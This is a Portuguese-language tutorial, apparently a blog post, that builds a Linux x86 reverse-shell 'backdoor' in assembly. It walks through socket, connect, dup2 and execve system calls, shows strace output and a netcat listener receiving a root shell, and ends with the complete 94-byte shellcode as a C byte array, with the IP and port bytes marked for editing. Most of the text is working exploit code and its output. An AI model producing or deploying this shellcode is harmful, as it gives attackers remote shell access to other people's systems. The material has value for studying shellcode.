Bem, como podem ver é bem simples, e so usa 4 funções (socket,connect,dup2,execv) , vamos começar criando o nosso socket, para isso vamos usar a sys_call numero 102(0x66), sys_socketcall:
mmxm@hc0der:~$ cat /usr/include/asm/unistd_32.h | grep socketcall
#define __NR_socketcall		102
Parâmetros passados para função:
socketcall(int call, unsigned long *args);

usando a função socketcall, podemos chamar uma subfunção que é a socket, lista de subfunções:
mmxm@hc0der:~$ cat /usr/include/linux/net.h
[...]
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND	2		/* sys_bind(2)			*/
#define SYS_CONNECT	3		/* sys_connect(2)		*/
#define SYS_LISTEN	4		/* sys_listen(2)		*/
#define SYS_ACCEPT	5		/* sys_accept(2)		*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)		*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)		*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)		*/
#define SYS_SEND	9		/* sys_send(2)			*/
#define SYS_RECV	10		/* sys_recv(2)			*/
#define SYS_SENDTO	11		/* sys_sendto(2)		*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)		*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)		*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)		*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)		*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)		*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)		*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)		*/
[...]
Para criar o socket, então usamos o numero 1, no primeiro parametro da funcao, sendo assim, ebx tem que ser 1.
ecx vai ser o array, contendo as opções que serão enviadas para sys_socket, exemplo em C:
unsigned long args[]={AF_INET,SOCK_STREAM,0};
sys_socketcall(1, args); // = socket(AF_INET,SOCK_STREAM,0);
Em assembly:
 global _start

_start:
;socket

	xor eax,eax ; zerando eax,ebx e ecx. Xor de dois numeros iguais equivale a zero [echo $((5^5))]
	xor ebx,ebx
	xor ecx,ecx

	push 0x66 ; coloca o numero da system call em hexadecimal no inicio do stack, poderia tambem ser 66h, 102 ou 102d.
	pop eax ; pop retorna o primeiro valor no stack pra uma variavel, no caso eax

	inc ebx ; ebx agora e igual a 1 , inc = var++

	push ecx ;| ecx, no lugar de 0, para evitar bytes nulo no nosso shellcode
	push 1   ;| poderia ser ebx tbm. (SOCK_STREAM)
	push 2   ;| 0,1 e agora 2, estaƒÂ£o no stack. (AF_INET)

	mov ecx, esp ; sp (Stack Pointer), copia tudo que esta no stack 0,1 e 2, para ecx
	int 0x80 ; efetua a system_call

;exit - so pra nao dar erro de segfault

	xor eax,eax
	inc eax; sys_exit  = 1
	int 0x80

Compilando:
mmxm@hc0der:~$ nasm -f elf backdoor.asm
mmxm@hc0der:~$ ld -s -o backdoor backdoor.o
Verificando se o codigo funciona usando strace:
mmxm@hc0der:~$ strace ./backdoor
execve("./backdoor", ["./backdoor"], [/* 32 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
_exit(1)                                = ?
Deu certo !!! Como podem ver, o socket foi criado, ele retorna 3, que é o numero do fd do socket.

Quando usamos system calls em assembly, um numero é retornado, se ele for igual ou maior que 0, significa que a operação ocorreu com sucesso, caso contrario, algum erro aconteceu, esse valor é armazenado em eax, vamos move-lo para edx, e agora vamos usar outra sub-função da socketcall (connect).
[...]

mov edx, eax; armazena o fd do socket criado em edx

;struct sockaddr_in {
;    short            sin_family;
;    unsigned short   sin_port;
;    struct in_addr   sin_addr;
;    char             sin_zero[8];  // zero this if you want to
;};


	xor ecx, ecx

	; struct in_addr sin_addr

	push 0x0100007F ; endereco de iP (127.0.0.1) 127 = 7F , 0 = 00 , 0 = 00 , 1 = 01
	push word 0x3930; porta em hexadecimal (12345)

	;;;;

	push word 2; familia do socket SOCK_STREAM

	mov ecx, esp

; connect

	push 3 ; SYS_CONNECT = 3
	pop ebx

	push 16 ; sizeof(struct sockaddr_in)
	push ecx ; struct sockaddr_in
	push edx ; socket fd

	mov ecx, esp

	push 0x66; sys_socketcall
	pop eax

	int 0x80

verificando se funciona:
mmxm@hc0der:~$ nasm -f elf backdoor.asm
mmxm@hc0der:~$ ld -s -o backdoor backdoor.o
mmxm@hc0der:~$ strace ./backdoor
execve("./backdoor", ["./backdoor"], [/* 32 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
_exit(3)                                = ?
Em outro terminal:
mmxm@hc0der:~$ nc -lvvp 12345
listening on [any] 12345 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35131
 sent 0, rcvd 0
Funcionouuuuuuuu, agora que já sabemos como conectar o resto é facil, só falta usar sys_dup2 e sys_execve e o backdoor ta pronto:
; dup2(sock,0)

	xor ecx, ecx

	push 63
	pop eax
	mov ebx, edx
	int 0x80

; dup2(sock,1)

	push 63
	pop eax
	inc ecx
	int 0x80

; dup2(sock,2)

	push 63
	pop eax
	inc ecx
	int 0x80

; execve("/bin//sh",0,0)

	push 11
	pop eax

	xor ecx, ecx
	xor edx, edx

	push ecx
	push 0x68732f2f
	push 0x6e69622f

	mov ebx, esp
	int 0x80


Testando o script completo agora> gist.github.com
mmxm@hc0der:~$ nasm -f elf backdoor.asm
mmxm@hc0der:~$ ld -s -o backdoor backdoor.o
mmxm@hc0der:~$ ./backdoor

-----

mmxm@hc0der:~$ nc -lvvp 12345
listening on [any] 12345 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35134
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/root
whoami
root
exit
 sent 19, rcvd 50

- Gerando shellcode

$ objdump -d ./backdoor
Null-byte no shell-code é só por causa do IP, deixei assim mesmo...
Shellcode size: 94 bytes
#include <stdio.h>
#include <string.h>

int main(void){
	char shellcode[]=
		"\x31\xc0\x31\xdb\x31\xc9\x6a\x66\x58\x43\x51\x6a"
		"\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\x31\xc9\x68"
		"\x7f\x00\x00\x01" // ENDERECO IP 127.0.0.1
		"\x66\x68"
		"\x30\x39" // PORTA 12345
		"\x66\x6a\x02\x89\xe1\x6a\x03\x5b\x6a\x10\x51\x52"
		"\x89\xe1\x6a\x66\x58\xcd\x80\x31\xc9\x6a\x3f\x58"
		"\x89\xd3\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x6a\x3f"
		"\x58\x41\xcd\x80\x6a\x0b\x58\x31\xc9\x31\xd2\x51"
		"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
		"\xcd\x80";

	printf("Shellcode size: %d\n",sizeof(shellcode)-1);
	return 0;
}


- Referências

[1] Linux/net/socket.c (Acessado em: Novembro/2014)
http://lxr.free-electrons.com/source/net/socket.c
[2] Where is the socket()? (Acessado em: Novembro/2014)
http://www.skyfree.org/linux/kernel_network/socket.html
[3] Hexadecimal to hex converter (Acessado em: Novembro/2014)
http://www.binaryhexconverter.com/hex-to-decimal-converter
[4] Demystifying the Execve Shellcode (Stack Method) (Acessado em: Novembro/2014)
http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html
[5] Struct sockaddr and pals (Acessado em: Novembro/2014)
http://www.beej.us/guide/bgnet/output/html/multipage/sockaddr_inman.html